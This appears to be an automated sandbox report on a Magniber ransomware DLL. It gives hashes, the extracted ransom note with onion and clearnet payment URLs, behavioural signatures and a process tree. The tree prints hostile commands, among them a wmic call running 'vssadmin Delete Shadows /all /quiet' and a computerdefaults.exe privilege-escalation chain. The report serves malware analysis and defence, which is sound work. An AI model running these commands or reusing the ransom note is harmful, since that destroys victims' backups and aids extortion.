Analysis

  • max time kernel
    300s
  • max time network
    255s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    22-08-2021 13:31

General

  • Target

    896a23da24d13f598955ac6416a311816bf0d6a3d4ab41165d9a4cf6fd8c4433.dll

  • Size

    38KB

  • MD5

    3ead684ebe967074e0f49db375727514

  • SHA1

    cc15ed7972a282fd1dc8da75ef89da0aa215156e

  • SHA256

    896a23da24d13f598955ac6416a311816bf0d6a3d4ab41165d9a4cf6fd8c4433

  • SHA512

    921393d667d1924af9f5ad8f2f2824aa3a1fe534ff178b94ef76bd857eea0a50e549c8517b51ecc2394dc3b97c4286c7c6d57dc99e6bbc51e43537c32b1b4e5e

Score
10/10

Malware Config

Extracted

Path

C:\Users\Admin\Desktop\readme.txt

Family

magniber

Ransom Note
ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED! ==================================================================================================== Your files are NOT damaged! Your files are modified only. This modification is reversible. The only 1 way to decrypt your files is to receive the private key and decryption program. Any attempts to restore your files with the third party software will be fatal for your files! ==================================================================================================== To receive the private key and decryption program follow the instructions below: 1. Download "Tor Browser" from https://www.torproject.org/ and install it. 2. In the "Tor Browser" open your personal page here: http://ae90c438aac87690leaxiqtl.iizpmw37xqqwef5363j2l7nmcerqgconfa76ztt6i5uww2qj3muz3bad.onion/leaxiqtl Note! This page is available via "Tor Browser" only. ==================================================================================================== Also you can use temporary addresses on your personal page without using "Tor Browser": http://ae90c438aac87690leaxiqtl.sadhour.space/leaxiqtl http://ae90c438aac87690leaxiqtl.warbill.casa/leaxiqtl http://ae90c438aac87690leaxiqtl.ballcan.xyz/leaxiqtl http://ae90c438aac87690leaxiqtl.realbar.club/leaxiqtl Note! These are temporary addresses! They will be available for a limited amount of time!
URLs

http://ae90c438aac87690leaxiqtl.iizpmw37xqqwef5363j2l7nmcerqgconfa76ztt6i5uww2qj3muz3bad.onion/leaxiqtl

http://ae90c438aac87690leaxiqtl.sadhour.space/leaxiqtl

http://ae90c438aac87690leaxiqtl.warbill.casa/leaxiqtl

http://ae90c438aac87690leaxiqtl.ballcan.xyz/leaxiqtl

http://ae90c438aac87690leaxiqtl.realbar.club/leaxiqtl

Signatures

  • Magniber Ransomware

    Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.

  • Process spawned unexpected child process 3 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies extensions of user files 9 IoCs

    Ransomware generally changes the extension on encrypted files.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Suspicious use of SetThreadContext 64 IoCs
  • Drops file in Windows directory 1 IoCs
  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Internet Explorer settings 1 TTPs 3 IoCs
  • Modifies registry class 64 IoCs
  • Opens file in notepad (likely ransom note) 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of UnmapMainImage 1 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Windows\system32\rundll32.exe
    rundll32.exe C:\Users\Admin\AppData\Local\Temp\896a23da24d13f598955ac6416a311816bf0d6a3d4ab41165d9a4cf6fd8c4433.dll,#1
    1⤵
    • Modifies extensions of user files
    • Suspicious use of SetThreadContext
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    • Suspicious use of WriteProcessMemory
    PID:800
    • C:\Windows\system32\notepad.exe
      notepad.exe C:\Users\Public\readme.txt
      2⤵
      • Opens file in notepad (likely ransom note)
      PID:1968
    • C:\Windows\system32\cmd.exe
      cmd /c "start http://ae90c438aac87690leaxiqtl.sadhour.space/leaxiqtl^&1^&50802132^&73^&279^&2215063"
      2⤵
      • Checks computer location settings
      PID:2520
    • C:\Windows\system32\wbem\wmic.exe
      C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2636
    • C:\Windows\system32\cmd.exe
      cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3772
      • C:\Windows\system32\wbem\WMIC.exe
        C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:3404
    • C:\Windows\system32\cmd.exe
      cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3848
      • C:\Windows\system32\wbem\WMIC.exe
        C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
        3⤵
          PID:3560
    • C:\Windows\system32\cmd.exe
      cmd /c computerdefaults.exe
      1⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:896
      • C:\Windows\system32\ComputerDefaults.exe
        computerdefaults.exe
        2⤵
          PID:1396
      • C:\Windows\system32\vssadmin.exe
        vssadmin.exe Delete Shadows /all /quiet
        1⤵
        • Process spawned unexpected child process
        • Interacts with shadow copies
        PID:1264
      • C:\Windows\system32\cmd.exe
        cmd /c computerdefaults.exe
        1⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:3808
        • C:\Windows\system32\ComputerDefaults.exe
          computerdefaults.exe
          2⤵
            PID:3856
        • C:\Windows\system32\vssvc.exe
          C:\Windows\system32\vssvc.exe
          1⤵
            PID:1364
          • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
            "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
            1⤵
            • Drops file in Windows directory
            • Modifies Internet Explorer settings
            • Modifies registry class
            • Suspicious use of SetWindowsHookEx
            PID:3140
          • C:\Windows\system32\browser_broker.exe
            C:\Windows\system32\browser_broker.exe -Embedding
            1⤵
            • Modifies Internet Explorer settings
            PID:3188
          • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
            "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
            1⤵
            • Modifies registry class
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            PID:3436
          • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
            "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
            1⤵
            • Modifies Internet Explorer settings
            • Modifies registry class
            PID:4148
          • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
            "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
            1⤵
            • Modifies registry class
            PID:4376

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Public\readme.txt

            MD5

            d75acc2d90227521a0d4509d7851c31f

            SHA1

            0bdb2060acfb369e6786c7c1c7f2e353e26d8149

            SHA256

            77692159c8d064f66a654a6b10821b1563fa97b5e96d6cd844e353a7ed98101f

            SHA512

            11f015f96d8ded26d517c646cfef1407fe4cefa9f81a6c599ce00c363966bb8e47e75f39998564f36171a212efd2279c34b7164ac11c4e07bf7e432872c7ee8e

          • memory/800-122-0x000001782DA20000-0x000001782DA21000-memory.dmp

            Filesize

            4KB

          • memory/800-118-0x000001782D9B0000-0x000001782D9B1000-memory.dmp

            Filesize

            4KB

          • memory/800-124-0x000001782DA40000-0x000001782DA41000-memory.dmp

            Filesize

            4KB

          • memory/800-125-0x000001782DA50000-0x000001782DA51000-memory.dmp

            Filesize

            4KB

          • memory/800-119-0x000001782D9C0000-0x000001782D9C1000-memory.dmp

            Filesize

            4KB

          • memory/800-120-0x000001782D9D0000-0x000001782D9D1000-memory.dmp

            Filesize

            4KB

          • memory/800-121-0x000001782D9E0000-0x000001782D9E1000-memory.dmp

            Filesize

            4KB

          • memory/800-117-0x000001782D9A0000-0x000001782D9A1000-memory.dmp

            Filesize

            4KB

          • memory/800-123-0x000001782DA30000-0x000001782DA31000-memory.dmp

            Filesize

            4KB

          • memory/800-116-0x000001782D990000-0x000001782D991000-memory.dmp

            Filesize

            4KB

          • memory/800-115-0x000001782D980000-0x000001782D981000-memory.dmp

            Filesize

            4KB

          • memory/800-132-0x00000178314C0000-0x00000178314C5000-memory.dmp

            Filesize

            20KB

          • memory/800-139-0x0000017832FE0000-0x0000017832FE1000-memory.dmp

            Filesize

            4KB

          • memory/800-114-0x000001782DCD0000-0x000001782E0E3000-memory.dmp

            Filesize

            4.1MB

          • memory/800-131-0x00000178314B0000-0x00000178314B1000-memory.dmp

            Filesize

            4KB

          • memory/1396-143-0x0000000000000000-mapping.dmp

          • memory/1968-133-0x0000000000000000-mapping.dmp

          • memory/2520-135-0x0000000000000000-mapping.dmp

          • memory/2636-136-0x0000000000000000-mapping.dmp

          • memory/3404-140-0x0000000000000000-mapping.dmp

          • memory/3560-141-0x0000000000000000-mapping.dmp

          • memory/3764-130-0x000001A11C360000-0x000001A11C368000-memory.dmp

            Filesize

            32KB

          • memory/3764-128-0x000001A11C370000-0x000001A11C378000-memory.dmp

            Filesize

            32KB

          • memory/3764-127-0x000001A11C510000-0x000001A11C511000-memory.dmp

            Filesize

            4KB

          • memory/3764-126-0x000001A11C520000-0x000001A11C528000-memory.dmp

            Filesize

            32KB

          • memory/3772-137-0x0000000000000000-mapping.dmp

          • memory/3848-138-0x0000000000000000-mapping.dmp

          • memory/3856-142-0x0000000000000000-mapping.dmp